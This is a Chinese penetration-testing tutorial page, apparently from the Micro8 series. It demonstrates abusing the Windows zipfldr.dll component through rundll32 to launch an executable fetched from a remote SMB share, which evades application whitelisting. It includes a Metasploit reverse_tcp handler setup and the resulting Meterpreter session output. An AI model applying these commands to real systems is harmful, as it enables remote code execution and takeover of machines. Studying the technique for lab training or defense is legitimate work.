> For the complete documentation index, see [llms.txt](https://micro8.gitbook.io/micro8/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://micro8.gitbook.io/micro8/contents-1/81-90/90-ji-yu-bai-ming-dan-zipfldr.dll-zhi-hang-payload-di-shi-ba-ji.md).

# 第九十课：基于白名单zipfldr.dll执行payload第十八季

**注：**请多喝点热水或者凉白开，可预防**肾结石，通风**等。 痛风可伴发肥胖症、高血压病、糖尿病、脂代谢紊乱等多种代谢性疾病。

## zipfldr.dll简介：

zipfldr.dll自Windows xp开始自带的zip文件压缩/解压工具组件。

**说明：**zipfldr.dll所在路径已被系统添加PATH环境变量中，因此，zipfldr.dll命令可识别，但由于为dll文件，需调用rundll32.exe来执行。

Windows 2003 默认位置：

```bash
C:\Windows\System32\zipfldr.dll
C:\Windows\SysWOW64\zipfldr.dll
```

Windows 7 默认位置：

```bash
C:\Windows\System32\zipfldr.dll
C:\Windows\SysWOW64\zipfldr.dll
```

**攻击机：**\
192.168.1.4 Debian\
**靶机：**\
192.168.1.3 Windows 7\
192.168.1.3 Windows 2003

## 配置攻击机msf：

```bash
msf exploit(multi/handler) > show options 

Module options (exploit/multi/handler): 

Name Current Setting Required Description
‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ 

Payload options (windows/meterpreter/reverse_tcp): 

Name Current Setting Required Description
‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)

LHOST 192.168.1.4 yes The listen address (an interface may be specified)

LPORT 53 yes The listen port 

Exploit target: 

Id Name
‐‐ ‐‐‐‐
0 Wildcard Target 

msf exploit(multi/handler) > exploit 

[*] Started reverse TCP handler on 192.168.1.4:53
```

![](/files/-LZJx4sNJ6GnX8jWbc3-)

## 靶机执行：

```bash
rundll32.exe zipfldr.dll,RouteTheCall \\192.168.1.119\share\rev_x86_53_exe.exe
```

![](/files/-LZJx4sYOE07E2FDhLXF)

```bash
msf exploit(multi/handler) > exploit 

[*] Started reverse TCP handler on 192.168.1.4:53
[*] Sending stage (179779 bytes) to 192.168.1.3
[*] Meterpreter session 7 opened (192.168.1.4:53 ‐> 192.168.1.3:5245) at
2019‐01‐21 04:55:44 ‐0500

meterpreter > getuid
Server username: John‐PC\John
meterpreter > getpid
Current pid: 6988
```

![](/files/-LZJx4sceW2vPA1YJ3uU)

> Micropoor